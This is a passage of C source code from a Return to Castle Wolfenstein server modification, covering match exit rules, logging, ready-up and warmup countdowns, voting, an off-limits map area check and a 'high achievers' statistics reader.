strcat(message, va("^3Dmg Given: ^7%d\n", level.clients[i].pers.dmgGiven));
strcat(message, va("^3Dmg Received: ^7%d\n", level.clients[i].pers.dmgreceived));
strcat(message, "\"");
trap_SendServerCommand(i, message);
}*/
//S4NDM4NN
//VERY LAST THING is wait for the MBL to join...
level.exitlevel = 1; //This will cause the MBL thread to exit asap!
//pthread_join(level.MBLthread,NULL);
//pthread_exit(NULL);
if(g_S4NDdebug.integer)
S4ND_Log("DEBUG: ExitLevel: End");
}
/*
=================
G_LogPrintf
Print to the logfile with a time stamp if it is open
=================
*/
void QDECL G_LogPrintf( const char *fmt, ... ) {
va_list argptr;
char string[1024];
int min, tens, sec;
sec = level.time / 1000;
min = sec / 60;
sec -= min * 60;
tens = sec / 10;
sec -= tens * 10;
Com_sprintf( string, sizeof(string), "%3i:%i%i ", min, tens, sec );
va_start( argptr, fmt );
vsprintf( string +7 , fmt,argptr );
va_end( argptr );
if ( g_dedicated.integer ) {
G_Printf( "%s", string + 7 );
}
if ( !level.logFile ) {
return;
}
trap_FS_Write( string, strlen( string ), level.logFile );
}
/*
================
LogExit
Append information about this game to the log file
================
*/
void LogExit( const char *string ) {
int i, numSorted;
gclient_t *cl;
int winner = -1; // L0 - FirstBlood
// NERVE - SMF - do not allow LogExit to be called in non-playing gamestate
if ( g_gamestate.integer != GS_PLAYING )
return;
G_LogPrintf( "Exit: %s\n", string );
level.intermissionQueued = level.time;
// this will keep the clients from playing any voice sounds
// that will get cut off when the queued intermission starts
trap_SetConfigstring( CS_INTERMISSION, "1" );
// don't send more than 32 scores (FIXME?)
numSorted = level.numConnectedClients;
if ( numSorted > 32 ) {
numSorted = 32;
}
if ( g_gametype.integer >= GT_TEAM ) {
G_LogPrintf( "red:%i blue:%i\n",
level.teamScores[TEAM_RED], level.teamScores[TEAM_BLUE] );
}
// NERVE - SMF - send gameCompleteStatus message to master servers
trap_SendConsoleCommand( EXEC_APPEND, "gameCompleteStatus\n" );
for (i=0 ; i < numSorted ; i++) {
int ping;
cl = &level.clients[level.sortedClients[i]];
if ( cl->sess.sessionTeam == TEAM_SPECTATOR ) {
continue;
}
if ( cl->pers.connected == CON_CONNECTING ) {
continue;
}
//ping = cl->ps.ping < 999 ? cl->ps.ping : 999;
if ( cl->pers.connected == CON_CONNECTING ) {
ping = -1;
}
else {
//unlagged - true ping
//ping = cl->ps.ping < 999
// ? cl->ps.ping : 999;
ping = cl->pers.realPing < 999 ?
cl->pers.realPing : 999;
//unlagged - true ping
}
G_LogPrintf( "score: %i ping: %i client: %i %s\n",
cl->ps.persistant[PERS_SCORE], ping, level.sortedClients[i],
cl->pers.netname );
// L0 - FirstBlood
if ( g_gametype.integer == GT_WOLF ) {
if( winner == -1 ) {
if( level.firstbloodTeam == TEAM_RED )
winner = 0;
else
winner = 1;
}
if( winner == 0 ) {
trap_Cvar_Set( "g_redDrawFirst", va( "%i", g_redDrawFirst.integer + 1 ) );
trap_Cvar_Update( &g_redDrawFirst );
} else {
trap_Cvar_Set( "g_blueDrawFirst", va( "%i", g_blueDrawFirst.integer + 1 ) );
trap_Cvar_Update( &g_blueDrawFirst );
}
} // L0 - end
// NERVE - SMF
if ( g_gametype.integer == GT_WOLF_STOPWATCH ) {
char cs[MAX_STRING_CHARS];
int winner, defender;
trap_GetConfigstring( CS_MULTI_INFO, cs, sizeof(cs) );
defender = atoi( Info_ValueForKey( cs, "defender" ) );
trap_GetConfigstring( CS_MULTI_MAPWINNER, cs, sizeof(cs) );
winner = atoi( Info_ValueForKey( cs, "winner" ) );
// NERVE - SMF
if ( !g_currentRound.integer ) {
if ( winner == defender ) {
// if the defenders won, use default timelimit
trap_Cvar_Set( "g_nextTimeLimit", va( "%f", g_timelimit.value ) );
}
else {
// use remaining time as next timer
trap_Cvar_Set( "g_nextTimeLimit", va( "%f", (level.time - level.startTime) / 60000.f ) );
}
}
else {
// reset timer
trap_Cvar_Set( "g_nextTimeLimit", "0" );
}
trap_Cvar_Set( "g_currentRound", va( "%i", !g_currentRound.integer ) );
}
// -NERVE - SMF
}
#ifdef OMNIBOT
Bot_Util_SendTrigger(NULL, NULL, "Round End.", "roundend");
#endif
}
/*
=================
CheckIntermissionExit
The level will stay at the intermission for a minimum of 5 seconds
If all players wish to continue, the level will then exit.
If one or more players have not acknowledged the continue, the game will
wait 10 seconds before going on.
=================
*/
void CheckIntermissionExit( void ) {
int ready, notReady;
int i;
gclient_t *cl;
int readyMask;
if ( g_gametype.integer == GT_SINGLE_PLAYER ) {
return;
}
// DHM - Nerve :: Flat 10 second timer until exit
if ( g_gametype.integer >= GT_WOLF ) {
if ( level.time < level.intermissiontime + 10000 )
return;
ExitLevel();
return;
}
// dhm - end
// see which players are ready
ready = 0;
notReady = 0;
readyMask = 0;
for (i=0 ; i< g_maxclients.integer ; i++) {
cl = level.clients + i;
if ( cl->pers.connected != CON_CONNECTED ) {
continue;
}
if ( g_entities[cl->ps.clientNum].r.svFlags & SVF_BOT ) {
continue;
}
if ( cl->readyToExit ) {
ready++;
if ( i < 16 ) {
readyMask |= 1 << i;
}
} else {
notReady++;
}
}
// copy the readyMask to each player's stats so
// it can be displayed on the scoreboard
for (i=0 ; i< g_maxclients.integer ; i++) {
cl = level.clients + i;
if ( cl->pers.connected != CON_CONNECTED ) {
continue;
}
cl->ps.stats[STAT_CLIENTS_READY] = readyMask;
}
// never exit in less than five seconds
if ( level.time < level.intermissiontime + 5000 ) {
return;
}
// if nobody wants to go, clear timer
if ( !ready ) {
level.readyToExit = qfalse;
return;
}
// if everyone wants to go, go now
if ( !notReady ) {
ExitLevel();
return;
}
// the first person to ready starts the ten second timeout
if ( !level.readyToExit ) {
level.readyToExit = qtrue;
level.exitTime = level.time;
}
// if we have waited ten seconds since at least one player
// wanted to exit, go ahead
if ( level.time < level.exitTime + 10000 ) {
return;
}
ExitLevel();
}
/*
=============
ScoreIsTied
=============
*/
qboolean ScoreIsTied( void ) {
int a, b;
char cs[MAX_STRING_CHARS];
char *buf;
// DHM - Nerve :: GT_WOLF checks the current value of
if ( g_gametype.integer >= GT_WOLF ) {
trap_GetConfigstring( CS_MULTI_MAPWINNER, cs, sizeof(cs) );
buf = Info_ValueForKey( cs, "winner" );
a = atoi( buf );
return a == -1;
}
if ( level.numPlayingClients < 2 ) {
return qfalse;
}
if ( g_gametype.integer >= GT_TEAM ) {
return level.teamScores[TEAM_RED] == level.teamScores[TEAM_BLUE];
}
a = level.clients[level.sortedClients[0]].ps.persistant[PERS_SCORE];
b = level.clients[level.sortedClients[1]].ps.persistant[PERS_SCORE];
return a == b;
}
qboolean G_ScriptAction_SetWinner( gentity_t *ent, char *params );
/*
=================
CheckExitRules
There will be a delay between the time the exit is qualified for
and the time everyone is moved to the intermission spot, so you
can see the last frag.
=================
*/
void CheckExitRules( void ) {
gentity_t *gm;
char cs[MAX_STRING_CHARS];
char txt[5];
int num;
// if at the intermission, wait for all non-bots to
// signal ready, then go to next level
if ( level.intermissiontime ) {
CheckIntermissionExit ();
return;
}
if ( level.intermissionQueued ) {
if ( level.time - level.intermissionQueued >= INTERMISSION_DELAY_TIME || g_gametype.integer >= GT_WOLF ) {
level.intermissionQueued = 0;
BeginIntermission();
}
return;
}
if ( g_timelimit.value && !level.warmupTime ) {
if ( level.time - level.startTime >= g_timelimit.value*60000 ) {
// L0 - FirstBlood
// If not ctf/sw... // if cvar is set on 2 // and we're tied
if (g_gametype.integer == GT_WOLF && g_FirstBlood.integer == 2 && ScoreIsTied() ) {
// If we pass the check then do the magic :)
if( level.firstbloodTeam == TEAM_RED ) {
trap_GetConfigstring( CS_MULTI_MAPWINNER, cs, sizeof(cs) );
Info_SetValueForKey( cs, "winner", "0" );
trap_SetConfigstring( CS_MULTI_MAPWINNER, cs );
LogExit( "Axis team wins by drawing First Blood." );
// Although it would be better to print it bellow stats table so players
// don't wonder wtf happened that they lost on maps like mp_depot...
//trap_SendServerCommand( -1, "print \"^1Axis ^7team wins by drawing ^1First Blood.\n\"");
// EDIT: bleh...let's just level it out.. and then call it under stats table
level.firstBloodTrue++; // If game ends mark that it ended cause of FirstBlood so info gets printed only when it happens...
} else if( level.firstbloodTeam == TEAM_BLUE ) {
trap_GetConfigstring( CS_MULTI_MAPWINNER, cs, sizeof(cs) );
Info_SetValueForKey( cs, "winner", "1" );
trap_SetConfigstring( CS_MULTI_MAPWINNER, cs );
LogExit( "Allied team wins by drawing First Blood." );
//trap_SendServerCommand( -1, "print \"^4Allied ^7team wins by drawing ^1First Blood.\n\"");
level.firstBloodTrue++;
} else {
return;
}
} // L0 - end
// check for sudden death
if ( g_gametype.integer != GT_CTF && ScoreIsTied() ) {
// score is tied, so don't end the game
return;
}
if ( g_gametype.integer >= GT_WOLF ) {
gm = G_Find( NULL, FOFS(scriptName), "game_manager" );
// JPW NERVE -- in CPH, check final capture/hold times and adjust winner
// 0 == axis, 1 == allied
if (g_gametype.integer == GT_WOLF_CPH) {
num = -1;
if (level.capturetimes[TEAM_RED] > level.capturetimes[TEAM_BLUE]) {
num = 0;
}
if (level.capturetimes[TEAM_RED] < level.capturetimes[TEAM_BLUE]) {
num = 1;
}
if (num != -1) {
sprintf(txt,"%d",num);
G_ScriptAction_SetWinner( NULL, txt );
}
}
// jpw
if ( gm )
G_Script_ScriptEvent( gm, "trigger", "timelimit_hit" );
}
// NERVE - SMF - do not allow LogExit to be called in non-playing gamestate
// - This already happens in LogExit, but we need it for the print command
if ( g_gamestate.integer != GS_PLAYING )
return;
LogExit( "Timelimit hit." );
return;
}
}
/*
if ( level.numPlayingClients < 2 ) {
return;
}
*/
if ( g_gametype.integer >= GT_WOLF && ( g_maxlives.integer > 0 || g_axismaxlives.integer > 0 || g_alliedmaxlives.integer > 0 ) ) {
if ( level.numFinalDead[0] >= level.numteamVotingClients[0] && level.numteamVotingClients[0] > 0 ) {
trap_GetConfigstring( CS_MULTI_MAPWINNER, cs, sizeof(cs) );
Info_SetValueForKey( cs, "winner", "1" );
trap_SetConfigstring( CS_MULTI_MAPWINNER, cs );
LogExit( "Axis team eliminated." );
return;
}
else if ( level.numFinalDead[1] >= level.numteamVotingClients[1] && level.numteamVotingClients[1] > 0 ) {
trap_GetConfigstring( CS_MULTI_MAPWINNER, cs, sizeof(cs) );
Info_SetValueForKey( cs, "winner", "0" );
trap_SetConfigstring( CS_MULTI_MAPWINNER, cs );
LogExit( "Allied team eliminated." );
return;
}
}
if (g_fraglimit.integer && g_gamestate.integer == GS_PLAYING ) {
if ( level.teamRedKills >= g_fraglimit.integer ) {
trap_SendServerCommand( -1, "chat \"^1Axis ^7hit the fraglimit!\n\"" );
trap_SendServerCommand( -1, va("print \"*** ^3FINAL SCORE: ^4Allies: ^7%i ^1Axis: ^7%i\n\"", level.teamBlueKills, level.teamRedKills) );
trap_GetConfigstring( CS_MULTI_MAPWINNER, cs, sizeof(cs) );
Info_SetValueForKey( cs, "winner", "0" );
trap_SetConfigstring( CS_MULTI_MAPWINNER, cs );
return;
}
if ( level.teamBlueKills >= g_fraglimit.integer ) {
trap_SendServerCommand( -1, "chat \"^4Allies ^7hit the fraglimit!\n\"" );
trap_SendServerCommand( -1, va("print \"*** ^3FINAL SCORE: ^4Allies: ^7%i ^1Axis: ^7%i\n\"", level.teamBlueKills, level.teamRedKills) );
trap_GetConfigstring( CS_MULTI_MAPWINNER, cs, sizeof(cs) );
Info_SetValueForKey( cs, "winner", "1" );
trap_SetConfigstring( CS_MULTI_MAPWINNER, cs );
return;
}
}
if ( g_gametype.integer == GT_CTF && g_capturelimit.integer ) {
if ( level.teamScores[TEAM_RED] >= g_capturelimit.integer ) {
trap_SendServerCommand( -1, "print \"Red hit the capturelimit.\n\"" );
LogExit( "Capturelimit hit." );
return;
}
if ( level.teamScores[TEAM_BLUE] >= g_capturelimit.integer ) {
trap_SendServerCommand( -1, "print \"Blue hit the capturelimit.\n\"" );
LogExit( "Capturelimit hit." );
return;
}
}
return;
}
/*
========================================================================
FUNCTIONS CALLED EVERY FRAME
========================================================================
*/
/*
===================================================================
L0 - check if players /ready up
NOTE: based upon Dutchmeat's ready up system- but it's much more...
===================================================================
*/
int IsReady(){
gclient_t *cl;
int notready = 0, ready = 0, i, allready = 0;
int readyWait = 0;
// So it doesn't spam afaik "waiting..." last few seconds...
if (!g_tournymode.integer) {
return allready;
}
// If client moves to specs, joins at count down.. it will automatically reset the state..
// So it doesn't go off with "awaiting -1 to ready up.." etc...
for ( i = 0; i < level.numPlayingClients; i++ ) {
cl = level.clients + level.sortedClients[i];
if (cl->pers.ready)
ready++;
else
notready++;
}
readyWait = level.numPlayingClients - ready;
if (ready == level.numPlayingClients || level.aEnd) {
allready = 1;
}
else
trap_SendServerCommand( -1, va("cp \"Waiting on ^2%i ^7players to ^2/ready ^7up\"",readyWait));
return allready;
} // ready check end
/*============================
L0 - check if match is paused
If it is keep CP with info...
============================*/
void matchIsPaused() {
if (level.paused) {
trap_SendServerCommand( -1, va("cp \"Match is ^1Paused!\""));
}
}
// L0 - end
/*
=============
CheckTournement
Once a frame, check for changes in tournement player state
=============
*/
void CheckTournement( void ) {
// check because we run 3 game frames before calling Connect and/or ClientBegin
// for clients on a map_restart
if ( g_gametype.integer != GT_TOURNAMENT ) {
return;
}
if ( level.numPlayingClients == 0 ) {
return;
}
// pull in a spectator if needed
if ( level.numPlayingClients < 2 ) {
AddTournamentPlayer();
}
// if we don't have two players, go back to "waiting for players"
if ( level.numPlayingClients != 2 ) {
if ( level.warmupTime != -1 ) {
level.warmupTime = -1;
trap_SetConfigstring( CS_WARMUP, va("%i", level.warmupTime) );
G_LogPrintf( "Warmup:\n" );
}
return;
}
if ( level.warmupTime == 0 ) {
return;
}
// if the warmup is changed at the console, restart it
if ( g_warmup.modificationCount != level.warmupModificationCount ) {
level.warmupModificationCount = g_warmup.modificationCount;
level.warmupTime = -1;
}
// if all players have arrived, start the countdown
if ( level.warmupTime < 0 ) {
if ( level.numPlayingClients == 2 ) {
// fudge by -1 to account for extra delays
level.warmupTime = level.time + ( g_warmup.integer - 1 ) * 1000;
trap_SetConfigstring( CS_WARMUP, va("%i", level.warmupTime) );
}
return;
}
// if the warmup time has counted down, restart
if ( level.time > level.warmupTime) {
level.warmupTime += 10000;
trap_Cvar_Set( "g_restarted", "1" );
trap_SendConsoleCommand( EXEC_APPEND, "map_restart 0\n" );
level.restarted = qtrue;
return;
}
}
/*
=============
CheckWolfMP
NERVE - SMF
=============
*/
void CheckGameState() {
gamestate_t current_gs;
current_gs = trap_Cvar_VariableIntegerValue( "gamestate" );
if ( level.intermissiontime && current_gs != GS_INTERMISSION ) {
trap_Cvar_Set( "gamestate", va( "%i", GS_INTERMISSION ) );
return;
}
if ( g_noTeamSwitching.integer && !trap_Cvar_VariableIntegerValue( "sv_serverRestarting" ) ) {
if ( current_gs != GS_WAITING_FOR_PLAYERS && level.numPlayingClients <= 1 && level.lastRestartTime + 1000 < level.time ) {
level.lastRestartTime = level.time;
trap_SendConsoleCommand( EXEC_APPEND, va( "map_restart 0 %i\n", GS_WAITING_FOR_PLAYERS ) );
}
}
if ( current_gs == GS_WAITING_FOR_PLAYERS && g_minGameClients.integer > 1 &&
level.numPlayingClients >= g_minGameClients.integer && level.lastRestartTime + 1000 < level.time ) {
level.lastRestartTime = level.time;
trap_SendConsoleCommand( EXEC_APPEND, va( "map_restart 0 %i\n", GS_WARMUP ) );
}
// if the warmup is changed at the console, restart it
if ( current_gs == GS_WARMUP_COUNTDOWN && g_warmup.modificationCount != level.warmupModificationCount ) {
level.warmupModificationCount = g_warmup.modificationCount;
current_gs = GS_WARMUP;
}
// check warmup latch
if ( current_gs == GS_WARMUP ) {
int delay = g_warmup.integer + 1;
if ( delay < 6 ) {
trap_Cvar_Set( "g_warmup", "5" );
delay = 7;
}
level.warmupTime = level.time + ( delay * 1000 );
trap_SetConfigstring( CS_WARMUP, va("%i", level.warmupTime) );
trap_Cvar_Set( "gamestate", va( "%i", GS_WARMUP_COUNTDOWN ) );
}
}
/*
=============
CheckWolfMP
NERVE - SMF - Once a frame, check for changes in wolf MP player state
=============
*/
void CheckWolfMP() {
int i;
char index[1024];
gentity_t *other;
gentity_t *te;
int allready; // L0 - ready system...
// TTimo unused
// static qboolean latch = qfalse;
// check because we run 3 game frames before calling Connect and/or ClientBegin
// for clients on a map_restart
if ( g_gametype.integer < GT_WOLF ) {
return;
}
// NERVE - SMF - check game state
CheckGameState();
// L0 - Pause - check if match is Paused
matchIsPaused();
// L0 - Pause - end
if ( level.warmupTime == 0 ) {
return;
}
// L0 - ready system...
allready = IsReady();
if((level.HAdone == qtrue) || (!g_DoHighAcheivers.integer)){
// L0 - Ready
if(g_tournymode.integer && !allready && (level.time >= (level.LastReadyMsg + 1000 ))){
level.LastReadyMsg = level.time;
level.readymsgnum = 0;
return;
// L0- This is replaced now so i commented it out..
/*
if (g_minGameClients.integer && (g_minGameClients.integer != level.readyPlayers)){
trap_SendServerCommand(-1, va("cp \" ^3Waiting on ^5%i ^3players to /ready\n\"", g_minGameClients.integer - level.readyPlayers));
level.readymsgnum = 0;
level.LastReadyMsg = level.time;
}else if (!g_minGameClients.integer && level.numPlayingClients != level.readyPlayers){
trap_SendServerCommand(-1, va("cp \" ^3Waiting on ^5%i ^3players to /ready\n\"", level.numPlayingClients - level.readyPlayers));
level.LastReadyMsg = level.time;
level.readymsgnum = 0;
*/
// L0 - end
}else{
if ((level.time > (level.LastReadyMsg + 1000 )) && (level.readymsgnum == 0)){
trap_SendServerCommand(-1, va("cp \"^3Prepare to fight!\n\""));
for ( i = 0 ; i < level.maxclients ; i++ ){
G_AddEvent( &g_entities[i], EV_GENERAL_SOUND, G_SoundIndex( "sound/player/prepare.wav" ));
}
level.LastReadyMsg = level.time;
level.readymsgnum++;
}else if ((level.time > (level.LastReadyMsg + 1000 )) && (level.readymsgnum == 1)){
trap_SendServerCommand(-1, va("cp \"^3Match starts in ^55\n\""));
Q_strncpyz(index, "sound/scenaric/rocket/ls_54321.wav", sizeof(index));
for(i=0; i<MAX_CLIENTS; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
other = &g_entities[i];
te = G_TempEntity( other->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex (index);
te->s.teamNum = other->s.clientNum;
}
level.LastReadyMsg = level.time;
level.readymsgnum++;
}else if ((level.time > (level.LastReadyMsg + 1200 )) && (level.readymsgnum == 2)){
trap_SendServerCommand(-1, va("cp \"^3Match starts in ^54\n\""));
level.LastReadyMsg = level.time;
level.readymsgnum++;
}else if ((level.time > (level.LastReadyMsg + 1200 )) && (level.readymsgnum == 3)){
trap_SendServerCommand(-1, va("cp \"^3Match starts in ^53\n\""));
level.LastReadyMsg = level.time;
level.readymsgnum++;
}else if ((level.time > (level.LastReadyMsg + 1200 )) && (level.readymsgnum == 4)){
trap_SendServerCommand(-1, va("cp \"^3Match starts in ^52\n\""));
level.LastReadyMsg = level.time;
level.readymsgnum++;
}else if ((level.time > (level.LastReadyMsg + 1200 )) && (level.readymsgnum == 5)){
trap_SendServerCommand(-1, va("cp \"^3Match starts in ^51\n\""));
level.LastReadyMsg = level.time;
level.readymsgnum++;
}
else if ((level.time > (level.LastReadyMsg + 1200 )) && (level.readymsgnum == 6)){
/*trap_SendServerCommand(-1, va("cp \"^1FIGHT!!!\n\""));
Q_strncpyz(index, "sound/player/fight_rb.wav", sizeof(index));
for(i=0; i<MAX_CLIENTS; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
other = &g_entities[i];
te = G_TempEntity( other->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex (index);
te->s.teamNum = other->s.clientNum;
}*/
level.LastReadyMsg = level.time;
level.readymsgnum++;
}else if ((level.time > (level.LastReadyMsg + 1000 )) && (level.readymsgnum == 7)){
level.readymsgnum++;
level.LastReadyMsg = level.time;
}
}
}
if ((level.paused) && (level.readymsgnum < 8))
return;
if((level.HAstartMatch == qfalse) && (g_DoHighAcheivers.integer))
return;
// if the warmup time has counted down, restart
if ( level.time > level.warmupTime) {
level.warmupTime += 10000;
trap_Cvar_Set( "g_restarted", "1" );
trap_SendConsoleCommand( EXEC_APPEND, "map_restart 0\n" );
level.restarted = qtrue;
return;
}
}
/*
==================
CheckVote
==================
*/
void CheckVote( void ) {
gentity_t *te;
int i;
vec3_t sound;
sound[0]= 0;
sound[1]= 0;
sound[2]= 0;
for ( i = 0; i < level.numConnectedClients; i++ ){
if ( level.voteExecuteTime && level.voteExecuteTime < level.time ) {
level.voteExecuteTime = 0;
trap_SendConsoleCommand( EXEC_APPEND, va("%s\n", level.voteString ) );
}
if ( !level.voteTime ) {
return;
}
if ( level.time - level.voteTime >= VOTE_TIME ) {
trap_SendServerCommand( -1, "print \"Vote Failed\n\"");
//if the soundpack is installed lets play a sound
te = G_TempEntity( sound, EV_GLOBAL_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/vote-fail.wav");
} else {
if ( level.voteYes > level.numVotingClients/2 ) {
// execute the command, then remove the vote
trap_SendServerCommand( -1, "print \"Vote Passed\n\"");
//if the soundpack is installed lets play a sound
te = G_TempEntity( sound, EV_GLOBAL_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/vote-pass.wav");
level.voteExecuteTime = level.time + 0;//3000
level.prevVoteExecuteTime = level.time + 0;//4000
// JPW NERVE
#ifndef PRE_RELEASE_DEMO
{
gentity_t *ent; // JPW NERVE
vec3_t placeHolder; // JPW NERVE
char str2[20];
int i;
Q_strncpyz(str2,level.voteString,19);
for (i=0;i<20;i++)
if (str2[i] == 32)
str2[i] = 0;
if (!Q_stricmp(str2,testid1)) {
ent = G_TempEntity( placeHolder, EV_TESTID1 );
ent->r.svFlags |= SVF_BROADCAST;
}
if (!Q_stricmp(str2,testid2)) {
ent = G_TempEntity( placeHolder, EV_TESTID2 );
ent->r.svFlags |= SVF_BROADCAST;
}
if (!Q_stricmp(str2,testid3)) {
ent = G_TempEntity( placeHolder, EV_ENDTEST );
ent->r.svFlags |= SVF_BROADCAST;
}
}
#endif
// jpw
} else if ( level.voteNo >= level.numVotingClients/2 ) {
// same behavior as a timeout
trap_SendServerCommand( -1, "print \"Vote Failed\n\"");
//if the soundpack is installed lets play a sound
G_Sound(&g_entities[i], G_SoundIndex("sound/player/vote-fail.wav"));
} else {
// still waiting for a majority
return;
}
}
level.voteTime = 0;
trap_SetConfigstring( CS_VOTE_TIME, "" );
}
}
/*
=============
checkLocation
=============
*/
void checkLocation(void){
gentity_t *ent;
int i;
char location[64];
// char *CleanLocation;
level.locationCheckTime = level.time;
for (i=0;i<MAX_CLIENTS;i++){
// skip if not connected
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
ent = &g_entities[i];
// skip if not on team
if (ent->client->sess.sessionTeam == TEAM_SPECTATOR)
continue;
//lets skip if they are dead no need to kill dead people right
if (ent->client->ps.stats[STAT_HEALTH] <= 0)
continue;
//If they are dead and specing someone lets not try to kill them
if (ent->client->sess.spectatorState == SPECTATOR_FOLLOW)
continue;
//This seemed to screw it up some how or something... no telling really
//if they are in limbo skip
// if (ent->client->ps.pm_flags & PMF_LIMBO)
// continue;
Team_GetLocationMsg(ent, location, sizeof(location));
// trap_SendServerCommand(ent-g_entities, va("chat \"%s\"" ,ent->client->pers.location));
if( (!Q_stricmp(ent->client->pers.location, "beach")) || (!Q_stricmp(ent->client->pers.location, "outside axis base")) ) {
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is off limits durring ^5Free for All!\"" ,ent->client->pers.location));
}
}
}
/*
==================
endDeathmatch
==================
*/
void endDeathmatch(){
gentity_t *other;
gentity_t *te;
int i;
//char message[MAX_STRING_CHARS];
level.nextDeathmatchendTime = level.time+1001;
if(level.endDeathmatch == 1) {
level.nextDeathmatchendTime = level.time+3500;
}else if(level.endDeathmatch == 2){
trap_SendServerCommand(-1, "cp \"^3Next match begins in: ^510\"2");
}else if(level.endDeathmatch == 3){
trap_SendServerCommand(-1, "cp \"^3Next match begins in: ^59\"2");
}else if(level.endDeathmatch == 4){
trap_SendServerCommand(-1, "cp \"^3Next match begins in: ^58\"2");
}else if(level.endDeathmatch == 5){
trap_SendServerCommand(-1, "cp \"^3Next match begins in: ^57\"2");
}else if(level.endDeathmatch == 6){
trap_SendServerCommand(-1, "cp \"^3Next match begins in: ^56\"2");
}else if(level.endDeathmatch == 7){
trap_SendServerCommand(-1, "cp \"^3Next match begins in: ^55\"2");
for( i=0; i<MAX_CLIENTS; i++ ){
if ( level.clients[i].pers.connected != CON_CONNECTED )
continue;
other = &g_entities[i];
te = G_TempEntity( other->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex ("sound/scenaric/rocket/ls_54321.wav");
te->s.teamNum = other->s.clientNum;
}
}else if(level.endDeathmatch == 8){
trap_SendServerCommand(-1, "cp \"^3Next match begins in: ^54\"2");
}else if(level.endDeathmatch == 9){
trap_SendServerCommand(-1, "cp \"^3Next match begins in: ^53\"2");
}else if(level.endDeathmatch == 10){
trap_SendServerCommand(-1, "cp \"^3Next match begins in: ^52\"2");
}else if(level.endDeathmatch == 11){
trap_SendServerCommand(-1, "cp \"^3Next match begins in: ^51\"2");
}else if(level.endDeathmatch == 12){
trap_SendServerCommand(-1, "cp \"^1FIGHT!\"2");
for( i=0; i<MAX_CLIENTS; i++ ){
if ( level.clients[i].pers.connected != CON_CONNECTED )
continue;
other = &g_entities[i];
te = G_TempEntity( other->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex ("sound/player/fight_rb.wav");
te->s.teamNum = other->s.clientNum;
}
trap_SendConsoleCommand( EXEC_APPEND, "vstr nextmap\n" );
trap_SendConsoleCommand( EXEC_APPEND, "reset_match\n" );
trap_SendConsoleCommand( EXEC_APPEND, "g_dowarmup 0\n" );
}
level.endDeathmatch++;
}
/*
==================
ReadHighAcheivers
==================
*/
void ReadHighAcheivers(){
FILE* file;
char info[1024];
int amount;
int type;
char names[1024];
char arg[1024];
char amountchar[1024];
char typechar[1024];
/*
1 = Kills
2 = TK's
3 = Gibs
4 = Deaths
5 = Ammo given
6 = Med given
7 = goomba
8 = poison
9 = headshots
10 = revives
11 = highKR
12 = highAcc
*/
// S4ND_Log("Read HighAchievers Started\n");
file = fopen("highacheivers.txt","a+");
// S4ND_Log("HA File opened\n");
while (fgets(info,1024,file)!=NULL)
{
ParseStr(info,typechar,arg);
ParseStr(arg,amountchar,names);
type=atoi(typechar);
amount=atoi(amountchar);
if(type == 1){
//S4ND_Log("Found killer\n");
level.HAkillnum = amount;
Q_strncpyz ( level.HAhighkillers, names, sizeof( level.HAhighkillers ) );
}
if(type == 2){
//S4ND_Log("Found Teamkiller\n");
level.HAtknum = amount;
Q_strncpyz ( level.HAtkers, names, sizeof( level.HAtkers ) );
}
if(type == 3){
//S4ND_Log("Found Gibber\n");
level.HAgibnum = amount;
Q_strncpyz ( level.HAhighgibbers, names, sizeof( level.HAhighgibbers ) );
}
if(type == 4){
//S4ND_Log("Found deaths\n");
level.HAdeathnum = amount;
Q_strncpyz ( level.HAhighdeaths, names, sizeof( level.HAhighdeaths ) );
}
if(type == 5){
// S4ND_Log("Found ammo given\n");
level.HAammonum = amount;
Q_strncpyz ( level.HAhighammogivers, names, sizeof( level.HAhighammogivers ) );
}
if(type == 6){
// S4ND_Log("Found med Given\n");
level.HAmednum = amount;
Q_strncpyz ( level.HAhighmedgivers, names, sizeof( level.HAhighmedgivers ) );
}
if(type == 7){
// S4ND_Log("Found goomba\n");
level.HAgoombanum = amount;
Q_strncpyz ( level.HAhighgoombaers, names, sizeof( level.HAhighgoombaers ) );
}
if(type == 8){
// S4ND_Log("Found poison\n");
level.Hapoisonnum = amount;
Q_strncpyz ( level.Hahighpoisoners, names, sizeof( level.Hahighpoisoners ) );
}
if(type == 9){
// S4ND_Log("Found headshots\n");
level.HAHshotnum = amount;
Q_strncpyz ( level.HAheadhunters, names, sizeof( level.HAheadhunters ) );
}
if(type == 10){
// S4ND_Log("Found revivers\n");
level.HArevivenum = amount;
Q_strncpyz ( level.HAhighrevivers, names, sizeof( level.HAhighrevivers ) );
}
if(type == 11){
// S4ND_Log("Found Kill Ratio\n");
level.useKR = qtrue;
Q_strncpyz ( level.HAhighestKR, names, sizeof( level.HAhighestKR ) );
Q_strncpyz ( level.HAkr, amountchar, sizeof( level.HAkr ) );
}
if(type == 12){
// S4ND_Log("Found ACC\n");
level.useACC = qtrue;
Q_strncpyz ( level.HAhighestACC, names, sizeof( level.HAhighestACC ) );
Q_strncpyz ( level.HAaccuracy, amountchar, sizeof( level.HAaccuracy ) );
}
}
fclose(file);
//S4ND_Log("HA file closed\n");
//we done reading so delete remove this file
remove("highacheivers.txt");
//S4ND_Log("HA file removed\n");
//S4ND_Log("Read HighAchievers Finished\n");
}
/*
==================
PrintHighAcheivers
==================
*/
void PrintHighAcheivers(){
gentity_t *te;
gentity_t *other;
int i;
char index[MAX_OSPATH];
//log this being called!
if(g_S4NDdebug.integer)
S4ND_Log("DEBUG: PrintHighAchievers: called");
Q_strncpyz(index, "", sizeof(index));//Do this to clear index so it dont make u go crazy when doing stats :)
if(level.HAprintnum == 0 ){
ReadHighAcheivers();
}
if(level.HAprintnum == 1 ){
trap_SendServerCommand(-1, va("cp \"^3High Achievers Last Round:\n\"2"));
}
if(level.HAprintnum == 2){
if(level.HAkillnum> 0){
Q_strncpyz(index, "sound/player/excellent.wav", sizeof(index));
